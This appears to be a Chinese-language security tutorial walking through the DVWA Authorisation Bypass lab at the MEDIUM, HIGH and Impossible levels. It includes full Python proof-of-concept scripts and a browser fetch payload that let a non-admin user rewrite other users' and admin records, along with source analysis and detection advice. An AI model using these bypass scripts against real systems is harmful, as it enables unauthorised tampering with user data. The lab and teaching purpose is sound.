    print("[*] 步骤5: JSON POST 改写 user_id=1(admin)admin → PwnedAdmin ...")
    r = dvwa.change_user_details(1, "admin", "PwnedAdmin")
    print(f"    服务端返回: {r.text.strip()}")
    after = json.loads(dvwa.get_user_data().text)
    row1 = next((u for u in after if u["user_id"] == "1"), {})
    if r.json().get("result") == "ok" and row1.get("surname") == "PwnedAdmin":
        print("[+] 写通道绕过成功:普通用户改写了 admin 的资料并读回确认!")
    else:
        print("[-] 写入未生效,结果需人工复核")

    # ⑤ 还原现场
    print("[*] 步骤6: 还原现场(admin → admin) ...")
    dvwa.change_user_details(1, "admin", "admin")
    after = json.loads(dvwa.get_user_data().text)
    ok = "PwnedAdmin" not in json.dumps(after)
    print("[+] 现场已还原" if ok else "[-] 还原失败,请手动检查 users 表")
    print("-" * 60)

    # ⑥ 结论
    print("[*] 结论:")
    print("    MEDIUM 级别的授权检查只存在于主页面入口,")
    print("    功能文件对普通用户依旧全开放------读全量数据、改 admin 资料均成立,")
    print("    入口检查可被直接访问功能文件的方式完整绕过。")


def main():
    parser = argparse.ArgumentParser(
        description="DVWA Authorisation Bypass MEDIUM 级别 PoC(仅供授权靶场使用)")
    parser.add_argument("-t", "--target", default="http://dvwa.cc",
                        help="DVWA 根地址(默认 http://dvwa.cc)")
    parser.add_argument("-u", "--user", default="gordonb",
                        help="登录用户名(需非 admin,默认 gordonb)")
    parser.add_argument("-p", "--password", default="abc123",
                        help="登录密码(默认 abc123)")
    args = parser.parse_args()

    print("⚠️  警告:本脚本仅供本地授权靶场测试使用!")
    print("=" * 60)
    try:
        run(args.target, args.user, args.password)
    except requests.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        sys.exit(1)
    except RuntimeError as e:
        print(f"[-] {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

脚本说明

(1)总体思路。 本脚本采用"先证拦截,再证绕过 "的对照式验证法:步骤3 先访问主页面拿到 403 + Unauthorised,确立"MEDIUM 的入口检查确实存在"这一基线;随后步骤4/5 直接打两条功能通路,用"同一会话、同一时刻、入口被拦但功能全通"的强反差证明绕过成立。写通道验证延续"写入必核验、核验完还原"的安全护栏。

(2)功能模块划分。

功能模块 说明
DVWASession 类 与 LOW 完全复用的会话封装(登录 / 设级 / token 自适应)
主页面基线探测 步骤3 的 403 判定,确保目标确实处于 MEDIUM(环境预检,防止在 LOW 级别上跑出"假 403 缺失"的误报)
读/写通道封装 get_user_data() / change_user_details(),与 LOW 相同
主流程 run() 登录 → 设级 → 入口基线 → 读绕过 → 写绕过(改 admin)→ 还原 → 结论

说明:与 LOW 脚本相比没有新增任何攻击代码 ------MEDIUM 的绕过动作与 LOW 完全一样,新增的只是"入口拦截"这半场对照组。这本身就说明问题:入口检查的升级没有给攻击者增加任何成本。

(3)逐步逻辑讲解。

首先,登录设级与入口基线。 步骤3 访问主页面并要求"HTTP 403 且响应体含 Unauthorised"双条件同时成立------若目标其实停在 LOW,这里会得到 200,脚本据此提示环境复核,避免把 LOW 的"无检查"误读成 MEDIUM 的结论。

其次,读通道差分。 步骤4 的 GET 在入口被拦的同一会话里发出:同一 PHPSESSID、同一 security Cookie,入口与功能文件的区别因此被干净隔离------唯一变量就是"请求打到了页面还是文件"。

最后,写通道与核验还原。 步骤5 改写 admin 并读回比对,确认落库后立即还原。判据链与 LOW 一致(result=ok → 读回 surname==PwnedAdmin → 还原后关键字清零)。

(4)验证判定逻辑。 MEDIUM 的服务端行为可以概括为"检查了渲染入口,没检查数据入口"。脚本用一次会话内的 403→200 反差与"写入落库"两个确定性事实,把"入口检查形同虚设"从主观印象变成可复现证据:403 证明检查存在,200+落库证明检查无效------两者缺一不可。

6、AI视角下的授权绕过检测

(1)功能级访问控制的智能检测:从"找页面"到"建清单"

MEDIUM 级别的教训是:入口检查制造了"已加固"的假象。对 AI 自动化审计而言,破除假象的方法是把审计对象从"页面清单"切换为"功能清单":

审计维度 传统扫描器 AI 自动化检测
审计单位 页面(URL) 功能(页面 + JS 提取的端点)
权限模型 无 / 单角色爬取 双角色差分矩阵
检查覆盖判断 页面 403 即认为"有防护" 逐端点判定"入口检查是否覆盖该功能"
报告口径 "存在登录墙" "入口检查覆盖 1/3 端点,2 个功能端点未受保护"

具体实现上,AI 需要完成三步:功能清单构建 (如 2.6 节的 JS 请求发射点分析,产出 {主页面, get_user_data.php, change_user_details.php} 三个条目);权限映射 (对每个条目标注"期望角色 = admin"------期望来自语义理解:'user manager' 界面文案、'This page should only be accessible by the admin user' 的页面声明都是线索);覆盖判定 (用 gordonb 会话逐一访问,主页面 403 而其余 200 → 覆盖率 1/3 → 判定"检查与功能分离"反模式)。本文 recon_authbypass.py 双 PHASE 的矩阵输出正是这一判定的原始数据。

(2)"半拉子检查"的模式识别

AI 在大量真实系统中会反复遇到同一形态:框架级/入口级中间件做了认证与粗粒度授权,而各业务端点各自裸奔 。识别这个反模式的信号组合在本模块全部出现:入口 403 干净利落(12 字节,说明写检查的人有安全意识);注释里点名两个文件(Have a look at these two files,说明作者自己都知道功能文件的存在);功能端点响应与低级别逐字节一致(说明升级时只动了入口文件)。AI 把这些信号组合成"入口有墙、功能无门 "的结构化判定,比单点扫描的"有/无漏洞"结论更能指导修复------它直接指出该把检查补到哪里(两个功能文件),而不是笼统地说"授权有问题"。

(3)AI 辅助的回归对抗

升级到 MEDIUM 后,一个常见误区是"复测主页 403 通过 = 修复完成"。AI 自动化检测的回归用例应当覆盖全部功能端点 × 全部角色 :本文 PoC 的步骤3/4/5 就是三个回归用例------入口拦截用例(期望 403)、读通道用例(期望被拦,实测 200 → 回归失败)、写通道用例(期望被拦,实测 ok + 落库 → 回归失败)。2/3 失败的"修复",AI 会如实报告为无效修复并给出失败用例明细,这正是自动化回归在授权治理里的核心价值。

7、MEDIUM级别------小结

MEDIUM 级别的授权检查只存在于主页面入口:

  • 非 admin 访问主页面被 403 拦截,检查干净利落
  • 但两个功能文件与 LOW 逐字节一致,检查覆盖率 1/3
  • 读全量数据、改写 admin 资料均可完整绕过

一句话总结:MEDIUM 级别装了一扇结实的门,却没封两扇敞开的窗------对直接访问功能文件的攻击者来说,这扇门只是装饰。

四、HIGH 级别 ------ 半修复:读通道已封,写通道未防

1、漏洞描述

HIGH 级别是一次不彻底的修复:

核心机制:

  • 主页面入口检查保留(source/high.php 与 medium 同款,非 admin → 403)
  • get_user_data.php 新增检查:high/impossible 级别下仅 admin 可读 ,其他用户拿到 Access denied------读通道被封
  • change_user_details.php 的身份检查没有随之加入(要到 Impossible 才加),HIGH 下任何登录用户仍可 JSON POST 改写任意用户------写通道完全敞开

核心问题 :形成"读被拦、写放行 "的不对称防线。普通用户虽然看不到数据,依然能改数据------看不见但改得动,攻击从"窃密"变成"破坏",危害的严重程度并没有下降。

2、查看网页源代码

php 复制代码
<?php
/*

Only the admin user is allowed to access this page.

Have a look at this file for possible vulnerabilities: 

* vulnerabilities/authbypass/change_user_details.php

*/

if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}
?>

3、分析网页源代码

(1)代码概述

组件 HIGH 下的行为 与 MEDIUM 的差异
主页面 非 admin → 403 无差异
get_user_data.php 非 admin → Access denied(41 字节 JSON) ✅ 读通道已封
change_user_details.php 非 admin 仍可 JSON POST 改任意用户 ❌ 写通道仍敞开

(2)漏洞分析

① 漏洞一 ------ 写通道无鉴权(本级别核心):

change_user_details.php 的身份检查条件只含 impossible,HIGH 下 gordonb 的 JSON POST 照样返回 {"result":"ok"}。实测改写 admin 资料成功。

② 漏洞二 ------ "盲写"放大了破坏潜力:

由于读通道同时被封,gordonb 改完数据无法自查结果 ------但这不影响破坏本身。更糟的是:普通用户可以对着全表"盲改"(id 从 1 遍历到 N),把所有人的资料搅乱,而数据被改的用户毫无感知渠道。机密性修好了,完整性还在裸奔。

③ 漏洞三 ------ 验证可见性不一致(防御者视角):

admin 与普通用户看到的 change_user_details.php 行为完全一致(admin: 59 字节 GET 响应;gordonb: 同样 59 字节),差别只在写请求的结果里------没有对普通用户的写请求做任何区分标记(无 403、无告警字段),日志层面也难以察觉。

4、操作步骤

⚠️ 踩坑 7:读被拦 ≠ 写也被拦。 在 HIGH 下测试,看到 get_user_data.php 返回 Access denied,很容易顺手认为"这级别修好了"。两个功能文件的检查是独立加的 ,必须逐个测。笔者实测 HIGH 下写通道返回 {"result":"ok"} 与 LOW/MEDIUM 完全一样。

⚠️ 踩坑 8(最隐蔽):盲写后无法用 gordonb 自己读回验证。 读通道被封后,gordonb 写入成功与否无法从自己的会话确认 ------get_user_data.php 只会给 Access denied。如果脚本在 HIGH 下沿用 LOW 的"写入后自己读回核验"逻辑,核验必然失败,会把成功的越权误判为失败。必须另开 admin 会话做交叉验证 (第二证据源)。这是本次实测中笔者踩的最深的一个坑:第一轮 HIGH 测试的写入其实全部落库了,但因为读不回来,还原逻辑没有触发,导致靶场残留了 Pwn3d/PwnedAdmin 脏数据,直到用 admin 会话复查才发现------这个教训直接写进了 PoC 的设计里。

(1)观察 HIGH 下的拦截面(普通用户视角)

  • 用 gordonb / abc123 登录,将安全级别设置为 High
  • 访问 http://dvwa.cc/vulnerabilities/authbypass/ → 预期 Unauthorised(403)
  • 地址栏直接访问 http://dvwa.cc/vulnerabilities/authbypass/get_user_data.php → 预期 {"result":"fail","error":"Access denied"}

预期结果:主页面与读通道都被拦住,看起来"防护升级了"。

(2)测试写通道(被忽略的半边)

  • F12 Console 执行(注意此时返回的是 ok):
javascript 复制代码
fetch('/vulnerabilities/authbypass/change_user_details.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({id: 2, first_name: 'Gordon', surname: 'HighPwned'})
}).then(r => r.json()).then(console.log)
// 实测返回 {result: "ok"} ------ 写通道没有任何拦截

(3)交叉验证盲写落库(关键步骤)

  • gordonb 的会话读不回数据,另开一个浏览器窗口(或无痕窗口)用 admin/password 登录,把安全级别设为 Low(保证读通道可用)
  • admin 访问 get_user_data.php,观察 user_id=2

预期结果:admin 读回的数据里 Gordon 的 surname 已是 HighPwned------盲写真实落库 。验证完用 gordonb 会话把 surname 改回 Brown,再用 admin 会话复核还原成功。

为什么"读不到"反而更危险 :正常用户改资料,改完立刻能在界面上看到结果;攻击者盲写后系统没有任何异常反馈,数据库悄悄变了,而每个能看到数据的人都以为它一直是这个值。对防御者的启示是:完整性破坏往往缺少"告警瞬间",必须靠变更审计日志而非用户报障来发现。

5、Python------PoC脚本

python 复制代码
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
 DVWA Authorisation Bypass ------ HIGH 级别 PoC(读通道已封,写通道未防)
--------------------------------------------------------------------
 漏洞原理:
   HIGH 级别是一次"半修复":
     ① 主页面入口检查保留(非 admin → 403 Unauthorised);
     ② get_user_data.php 新增检查:high/impossible 下仅 admin 可读,
       "Access denied"------读通道被封;
     ③ 但 change_user_details.php 的身份检查要到 impossible 才加入,
        HIGH 下任何登录用户仍可 JSON POST 改写任意用户的资料------
        写通道完全敞开。
     于是形成"读被拦、写放行"的不对称防线:普通用户虽然看不到数据,
     依然能改数据(包括 admin 的资料),甚至构成"盲写"------
     看不见但改得动,危害不减反增(破坏完整性)。

 验证方法(双会话交叉验证):
   ① 以非 admin 用户 gordonb/abc123 登录,把安全等级设为 high;
   ② 验证主页面 403、get_user_data 返回 Access denied(确认读通道已封);
   ③ JSON POST 改写 gordonb 自己的资料 → 服务端返回 result=ok(盲写成功);
   ④ 由于 gordonb 的读通道被封,无法自查是否落库------
      脚本另开 admin 会话(第二证据源)读回核验 HighPwned 是否真实写入;
   ⑤ 核验通过后用 gordonb 会话还原,再用 admin 会话复核还原结果。

 使用方法:
   python poc_authbypass_high.py -t http://dvwa.cc [-u gordonb] [-p abc123] \
          [--admin-user admin] [--admin-password password]

 免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""

import argparse
import json
import re
import sys

import requests


class DVWASession:
    """DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""

    TOKEN_RE = re.compile(
        r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I)

    def __init__(self, base_url, username, password):
        self.base_url = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.http = requests.Session()
        self.http.headers.update(
            {"User-Agent": "Mozilla/5.0 (DVWA-AuthBypass-PoC)"})

    # ---------------- 内部工具 ----------------
    def _get(self, path, **kw):
        return self.http.get(self.base_url + path, timeout=10, **kw)

    def _post(self, path, data=None, **kw):
        return self.http.post(self.base_url + path, data=data, timeout=10, **kw)

    def _fetch_token(self, path):
        """访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
        html = self._get(path).text
        m = self.TOKEN_RE.search(html)
        return m.group(1) if m else None

    def _is_login_page(self, html):
        return bool(re.search(r"name=['\"]username['\"]", html))

    # ---------------- 前置步骤 ----------------
    def login(self):
        """两步登录:先取登录页 token,再携带 token 提交账号密码。"""
        data = {"username": self.username, "password": self.password,
                "Login": "Login"}
        token = self._fetch_token("/login.php")
        if token:
            data["user_token"] = token
        self._post("/login.php", data)

        html = self._get("/index.php").text
        if self._is_login_page(html):
            raise RuntimeError("登录失败:请检查用户名/密码或目标地址")

    def set_security(self, level):
        """通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
        data = {"security": level, "seclev_submit": "Submit"}
        token = self._fetch_token("/security.php")
        if token:
            data["user_token"] = token
        self._post("/security.php", data)

        current = self.http.cookies.get("security")
        if current != level:
            raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")

    # ---------------- 漏洞接口封装 ----------------
    def get_user_data(self):
        """GET 功能文件1:全量用户数据(JSON)。"""
        return self._get("/vulnerabilities/authbypass/get_user_data.php")

    def change_user_details(self, user_id, first_name, surname):
        """POST 功能文件2:改写指定用户的姓名(JSON 请求体)。"""
        return self._post(
            "/vulnerabilities/authbypass/change_user_details.php",
            json={"id": user_id, "first_name": first_name, "surname": surname})


def run(base_url, username, password, admin_user, admin_password):
    print("[*] 目标地址:", base_url)
    print("[*] 测试账号(非 admin):", username)
    print("-" * 60)

    # ① 登录并设置安全等级
    dvwa = DVWASession(base_url, username, password)
    print("[*] 步骤1: 登录 DVWA(普通用户) ...")
    dvwa.login()
    print("[+] 登录成功")

    print("[*] 步骤2: 通过官方接口设置安全等级 high ...")
    dvwa.set_security("high")
    print("[+] 安全等级已设为 high(Cookie 校验通过)")
    print("-" * 60)

    # ② 主页面 + 读通道基线
    print("[*] 步骤3: 验证主页面与读通道的拦截情况 ...")
    r = dvwa._get("/vulnerabilities/authbypass/")
    if r.status_code == 403 and "Unauthorised" in r.text:
        print(f"[+] 主页面入口检查生效:HTTP {r.status_code} {r.text.strip()!r}")

    r = dvwa.get_user_data()
    if "Access denied" in r.text:
        print(f"[+] 读通道已封:get_user_data 返回 {r.text.strip()!r}(HTTP {r.status_code})")
    else:
        print(f"[!] 读通道响应异常: {r.text[:80]}(结果需人工复核)")
    print("-" * 60)

    # ③ 写通道盲写:gordonb 改自己
    print("[*] 步骤4: JSON POST 盲写 user_id=2(gordonb 自己)Brown → HighPwned ...")
    r = dvwa.change_user_details(2, "Gordon", "HighPwned")
    print(f"    服务端返回: {r.text.strip()}")
    try:
        write_ok = r.json().get("result") == "ok"
    except json.JSONDecodeError:
        write_ok = False
    if write_ok:
        print("[+] 写通道绕过成功:读被拦、写放行,服务端接受了普通用户的写入请求")
        print("    (gordonb 的读通道已被封,是否真正落库需要第二证据源确认)")
    else:
        print("[-] 盲写失败,结果需人工复核")
    print("-" * 60)

    # ④ admin 第二会话交叉验证
    print("[*] 步骤5: 另开 admin 会话,交叉核验盲写是否真实落库 ...")
    admin = DVWASession(base_url, admin_user, admin_password)
    admin.login()
    admin.set_security("low")          # admin 自己的级别独立,用 low 保证可读
    users = json.loads(admin.get_user_data().text)
    row2 = next((u for u in users if u["user_id"] == "2"), {})
    if row2.get("surname") == "HighPwned":
        print("[+] 交叉验证通过:admin 读回的数据中 Gordon 已变为 HighPwned")
        print("    ------ HIGH 级别的写入越权真实成立(完整性被破坏)")
    else:
        print(f"[-] 交叉验证失败,读回: {row2}")
    print("-" * 60)

    # ⑤ 还原现场 + 复核
    print("[*] 步骤6: 还原现场(gordonb 写回 Brown,admin 读回复核) ...")
    dvwa.change_user_details(2, "Gordon", "Brown")
    users = json.loads(admin.get_user_data().text)
    row2 = next((u for u in users if u["user_id"] == "2"), {})
    if row2.get("surname") == "Brown":
        print("[+] 现场已还原(Gordon Brown)")
    else:
        print(f"[-] 还原失败,请手动检查 users 表:{row2}")
    print("-" * 60)

    # ⑥ 结论
    print("[*] 结论:")
    print("    HIGH 级别封住了主页入口与数据读通道,但写通道(change_user_details)")
    print("    仍未做身份检查------普通用户虽读不到数据,依然能改写任意用户资料,")
    print("    构成'盲写'式越权。半修复 ≠ 修复,授权检查必须覆盖每个功能文件。")


def main():
    parser = argparse.ArgumentParser(
        description="DVWA Authorisation Bypass HIGH 级别 PoC(仅供授权靶场使用)")
    parser.add_argument("-t", "--target", default="http://dvwa.cc",
                        help="DVWA 根地址(默认 http://dvwa.cc)")
    parser.add_argument("-u", "--user", default="gordonb",
                        help="登录用户名(需非 admin,默认 gordonb)")
    parser.add_argument("-p", "--password", default="abc123",
                        help="登录密码(默认 abc123)")
    parser.add_argument("--admin-user", default="admin",
                        help="交叉验证用的管理员账号(默认 admin)")
    parser.add_argument("--admin-password", default="password",
                        help="交叉验证用的管理员密码(默认 password)")
    args = parser.parse_args()

    print("⚠️  警告:本脚本仅供本地授权靶场测试使用!")
    print("=" * 60)
    try:
        run(args.target, args.user, args.password,
            args.admin_user, args.admin_password)
    except requests.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        sys.exit(1)
    except RuntimeError as e:
        print(f"[-] {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()

脚本说明

(1)总体思路。 本脚本采用"拦截面确认 → 盲写尝试 → 第二证据源交叉核验 → 还原复核 "四段式验证法:先确认 HIGH 的主页面 403 与读通道 Access denied(把"半修复"的已修半边钉死),再对写通道发起 JSON POST 盲写,关键是另开 admin 会话读回落库验证------因为 gordonb 自己的读通道已封,"写没写进去"必须由第二会话作证。这是本脚本与前两级别最大的结构差异。

(2)功能模块划分。

功能模块 说明
DVWASession 类 与前两级别完全复用
拦截面探测 主页面 403 判定 + 读通道 Access denied 判定(环境预检)
盲写请求 change_user_details(),代码与 LOW 相同------写通道从未变过
admin 第二会话 新增模块:独立登录、独立设级(设为 low 保证可读)、读回数据比对
还原复核 gordonb 写回原值 + admin 再次读回确认,双签收尾

说明:admin.set_security("low") 这一行值得展开------DVWA 的安全级别 Cookie 是会话级的,gordonb 会话设为 high 不影响 admin 会话自设 low,两个会话的"观察窗口"互不干扰。这个特性既是靶场的简化,也恰是交叉验证得以实现的机制基础。

(3)逐步逻辑讲解。

首先,拦截面确认。 步骤3 用两条独立判据确认环境:主页 403+Unauthorised、读通道 Access denied。若读通道没有返回 Access denied(比如目标实际在 medium),脚本会输出"响应异常,需人工复核",防止把 medium 的"可读可写"误判成 high 的"盲写"。

其次,盲写与不确定性标记。 步骤4 拿到 result=ok 后,脚本不直接宣布漏洞成立,而是明确打印"是否真正落库需要第二证据源确认"------把验证的不确定性显式暴露出来,这是与 LOW/MEDIUM 脚本在输出语义上的关键差异。

最后,交叉核验与双签还原。 步骤5 admin 会话读回比对 surname == "HighPwned",步骤6 gordonb 写回 Brown 后由 admin 再次读回确认。两次读回使用同一个 admin 会话,保证前后证据链一致。

(4)验证判定逻辑。 HIGH 的验证难点在于证据链断在中间 :攻击者视角只剩写通道的 result=ok,它只能证明"请求被接受",不能证明"数据被修改"(理论上有可能 ok 之后事务失败)。脚本用 admin 会话补上断点,构成完整的"请求 → 接受 → 落库 → 可读"四环证据链。凡是无法自证的写入型漏洞( blind SQLi、盲 XSS 同理),都需要这类"外部证据源"设计------HIGH 级别的 authbypass 恰好是教学这个设计范式的最佳样本。

6、AI视角下的授权绕过检测

(1)不对称防线的自动发现:CRUD 维度的拆分探测

HIGH 级别的核心特征是同一资源的读与写防护不对称 。AI 自动化检测的对应做法是把每个端点按 CRUD 语义拆分探测,而不是把"功能文件"当作原子单位:

探测动作 端点 admin 结果 gordonb 结果 自动判定
READ get_user_data.php 200 / 273 B 全量 200 / 41 B Access denied 读有鉴权 ✅
UPDATE change_user_details.php (JSON POST) {"result":"ok"} {"result":"ok"} 写无鉴权 ❌

判据来自同端点跨角色的响应差分 :读通道差分明显(数据 vs 错误消息),写通道差分为零。AI 将零差分的写通道标记为"UPDATE 未授权",并进一步做同值写探测 (把数据写回原值,如 {"id":2,"first_name":"Gordon","surname":"Brown"})来区分"检查存在但放行"与"检查不存在"------本例中 gordonb 拿到 ok 而 impossbile 下拿到 Access denied,可确定检查点根本不在 HIGH 的写通路上。

(2)盲写场景下的证据链编排

对 AI 而言,HIGH 级别最大的方法论挑战是验证闭环在攻击者会话内断裂。自动化检测系统需要掌握"多会话证据编排"能力,本文 PoC 的设计可直接推广:

  1. 主体会话 (gordonb):执行盲写,采集第一手证据 result=ok
  2. 验证会话(admin):独立设级、读回目标数据,采集落库证据
  3. 证据融合 :ok 与落库两个证据都存在才输出"漏洞成立",只有 ok 时输出"疑似,待核验"

这种编排的关键工程细节有三个:会话隔离 (两个独立 Session 对象,Cookie 互不污染);验证会话的观测位选择 (admin 设为 low 以获得读通道,等价于"给探测器找一个视野最好的制高点");时间窗控制 (写与读之间不插入其他变更操作,保证读回的数据只能来自本次写入------本靶场单用户环境下天然满足,真实系统需配合时间戳或唯一标记值,例如写入 HighPwned-<随机后缀> 使证据可归因)。第三点在真实系统里是盲写验证的标准做法:写入一个含随机标识的值,谁能读回这个标识,谁就是证据链的下游。

(3)半修复的回归测试模式

HIGH 是"修复了一半"的典型样本,AI 的回归测试应该产出修复完备度评分而不是通过/失败二值结论。以本模块为例,对"修复目标:非 admin 不能读写用户数据":

复制代码
修复完备度 = 已防护通路 / 应防护通路
READ  (get_user_data)         : 拦截 ✅  (1/2)
UPDATE (change_user_details)  : 放行 ❌  (1/2)
完备度 = 1/2 → 结论:半修复,剩余风险=完整性破坏(含 admin 资料被改)

这与官方源码的注释措辞("Have a look at this file"单数)互相印证。AI 把"完备度 + 剩余通路 + 风险类型"打包输出,修复团队可以据此精确补第二个检查点,而不是从头排查。

(4)行为遥测视角:盲写的可检测性

从防御侧看,盲写留下一类独特遥测:同一会话先被读通道拒绝(Access denied),紧接着对写通道发起请求 ------"先撞墙再敲门"是自动化攻击的强特征。AI 检测引擎把"端点级拒绝"与"相邻写请求"做时序关联,即可对盲写行为实时告警;单纯看写请求本身反而毫无异常(格式合法、参数合规、返回 ok)。这个视角也解释了为什么传统 WAF 对本漏洞几乎无感------每一个请求单独看都是合法的,恶意性只存在于序列与授权上下文里。

7、HIGH级别------小结

HIGH 级别是一次不彻底的修复:

  • 主页面与读通道(get_user_data)均已正确拦截普通用户
  • 写通道(change_user_details)的检查要 impossible 才加入,HIGH 下完全敞开
  • 普通用户构成"盲写":看不到数据,但能改任何人的资料(含 admin)
  • 修复完备度 2/3,剩余风险从机密性转为完整性

一句话总结:HIGH 级别证明"半修复"比"没修"更有迷惑性------拦截面给防御者安全感,敞开的写通道却把攻击从偷看升级成了暗中篡改。

五、Impossible 级别 ------ 功能级授权检查的范本

1、现象观察:六项守卫全通过(双账号实测)

Impossible 没有 PoC,但有一张守卫对照表 。本文 verify_impossible.py(随附脚本)以 gordonb / admin 双会话对三条通路逐一探测,实测结果:

通路 gordonb(普通用户) admin 判定
主页面 403 Unauthorised 200 正常渲染 ✅ 拦截/放行都正确
读通道 get_user_data.php {"result":"fail","error":"Access denied"} 200 全量 JSON ✅
写通道 change_user_details.php {"result":"fail","error":"Access denied"} {"result":"ok"} ✅

六项守卫(三个通路 × 拦截/放行两个方向)全部符合预期 ,脚本输出 [PASS] × 6。与 HIGH 最大的区别一眼可见:HIGH 下 gordonb 的写通道拿到的是 ok,Impossible 下拿到的是 Access denied------写通道的检查点确实存在并且生效。

2、源码取证:检查点"下沉"到每个功能文件

(1)三道防线的源码布局

防线一:主页面入口检查 (source/impossible.php,部署版实测取证):

php 复制代码
if (dvwaCurrentUser() != "admin") {
    print "Unauthorised";
    http_response_code(403);
    exit;
}

防线二:读通道检查 (get_user_data.php,条件含 impossible,且 impossible 下输出额外净化):

php 复制代码
if ((dvwaSecurityLevelGet() == "high" || dvwaSecurityLevelGet() == "impossible")
     && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}
// impossible 下输出额外做 HTML 转义
if( dvwaSecurityLevelGet() == 'impossible' ) {
    $first_name = htmlspecialchars( $row[1] );
    ...
}

防线三:写通道检查 (change_user_details.php,仅 impossible 有------但 impossible 级别下它生效):

php 复制代码
if (dvwaSecurityLevelGet() == "impossible" && dvwaCurrentUser() != "admin") {
    print json_encode (array ("result" => "fail", "error" => "Access denied"));
    exit;
}

(2)与 LOW 的结构性对比

LOW 的所有通路都没有检查;Impossible 的检查出现在每一个会触碰数据的文件里。同一个功能,三种实现姿态:

姿态 说明 对应级别
不检查 功能裸奔 LOW
只在入口检查 页面有墙,功能无门 MEDIUM(部分 HIGH)
每个功能文件独立检查 检查与功能绑定,缺一不可 Impossible

3、安全分析:为什么它是满分答案

首先,检查点与功能点重合,绕过在结构上不可能。 攻击者无论从哪个入口进来------主页面、直接访问文件、甚至伪造前端请求------最终都必须经过功能文件里的那道 if。没有"绕过入口直奔功能"的旁路可走,因为功能自己就是入口。

其次,检查条件覆盖了所有危险级别组合。 读通道 high || impossible、写通道 impossible,每个级别下每条通路的行为都唯一确定,不存在 HIGH 那样的条件夹缝。

然后,拒绝方式工程上正确。 三处检查返回的都是正确的语义 :主页面用 403 + Unauthorised(页面语义),API 用 JSON Access denied(接口语义)------状态码与内容类型跟端点性质匹配,而不是一律 200 里塞一句错误文案。

最后,Impossible 还顺带修了输出与输入。 读通道在 impossible 下对输出做 htmlspecialchars,防止存储型内容二次污染前端。(值得注意的是:写通道的 SQL 拼接问题在源码里依然存在,说明 DVWA 作者认为"SQL 注入"属于 SQLi 模块的教学范畴,本模块的 Impossible 只负责"授权"这一件事------单一职责的教学设计。)

4、AI 视角:守卫矩阵的自动验证

Impossible 没有 PoC,但 AI 在这个级别上反而有一件标准化的事情可做:守卫完整性验证 ------把"安全"从一句评语变成一组可执行断言。本文 verify_impossible.py 演示了这套方法:

(1)断言式审计

把安全需求翻译成六条断言(三通路 × 两方向),脚本逐一执行并输出 [PASS]/[FAIL]:

复制代码
[PASS] 主页面拦截普通用户
[PASS] 读通道拒绝普通用户
[PASS] 写通道拒绝普通用户
[PASS] 主页面允许 admin
[PASS] 读通道允许 admin
[PASS] 写通道允许 admin

双向断言缺一不可:只测"普通用户被拦"不测"admin 能用",就无法发现"检查条件写反、把所有人(含 admin)都挡在门外"的过杀型 bug------过杀和漏放都是授权故障。

(2)无副作用探测设计

写通道的 admin 方向断言需要"写一次"才能验证,脚本用的是同值写 ({"id":2,...,"surname":"Brown"} 写回它本来的值):请求成功返回 ok 证明写权限通畅,数据内容零变化保证靶场无脏数据。这个技巧可直接迁移到生产环境的权限自检------用幂等的写请求探测写权限,探测本身不构成变更。

(3)把守卫矩阵固化为回归基线

Impossible 的六项实测结果可以固化为一份授权回归基线 (golden matrix):此后任何代码变更(重构、升级、加字段),CI 里重跑同一脚本,矩阵任何一格漂移都会被立刻捕获。对 AI 审计系统而言,这个基线还是"学习材料"------它标注了"正确的授权实现"在每个端点上应该长什么样(403 语义、JSON 错误格式、角色判定),为前几个级别的异常判定提供了正样本。

(4)AI 视角的一句话

前三章 AI 输出的是"漏洞清单 + 利用路径",本章 AI 输出的是一张全绿的守卫矩阵。全绿不是"没测出东西",而是测出的东西恰好等于期望------这是授权审计里最难自动化的部分,因为它要求系统先知道"正确答案",再逐条核对现实。

5、Impossible级别------小结

Impossible 级别展示了功能级授权的完整答案:

  • 检查点下沉到每个功能文件,与功能绑定,无旁路可绕
  • 三通路 × 双方向六项守卫全部实测通过
  • 拒绝语义工程正确(403 页面语义 / JSON 接口语义)
  • 可固化为守卫矩阵,作为回归基线与审计正样本

一句话总结:授权检查的正确位置不在"页面门口",而在"每个功能的门口"------Impossible 把检查从入口搬到功能内部,LOW/MEDIUM/HIGH 则分别演示了"不检查 / 只查入口 / 查了一半"的三种残缺形态。

六、LOW vs MEDIUM vs HIGH vs Impossible:对比分析

1、防护策略演进对比(实测矩阵)

防护维度 LOW MEDIUM HIGH Impossible
主页面入口检查 ❌ 200 放行 ✅ 403 ✅ 403 ✅ 403
读通道检查(get_user_data) ❌ 全量泄露 ❌ 全量泄露 ✅ Access denied ✅ Access denied
写通道检查(change_user_details) ❌ 任意写 ❌ 任意写 ❌ 任意写 ✅ Access denied
菜单项对非 admin 隐藏 ✅(仅隐匿) ✅ ✅ ✅
输出净化(htmlspecialchars) ❌ ❌ ❌ ✅
修复完备度 0/3 1/3 2/3 3/3

说明:上表每一格都是本文双账号矩阵实测的结论,其中 HIGH 行"读✅写❌"的组合是与常见教程描述差异最大的一格。

2、攻击面变化分析

攻击类型 LOW MEDIUM HIGH Impossible
主页面未授权访问 ✅ 可行 ❌ 403 ❌ 403 ❌ 403
未授权读(数据泄露) ✅ 全量 ✅ 全量 ❌ 被拦 ❌ 被拦
未授权写(改自己/他人) ✅ 可行 ✅ 可行 ✅ 盲写可行 ❌ 被拦
垂直越权(改 admin) ✅ 可行 ✅ 可行 ✅ 盲写可行 ❌ 被拦
SQL 注入(UPDATE 拼接) ✅ 报错回显 ✅ ✅ ✅(教学保留)
攻击者所需知识 请求格式 端点 URL 端点 URL ------

3、防御策略演进路径

复制代码
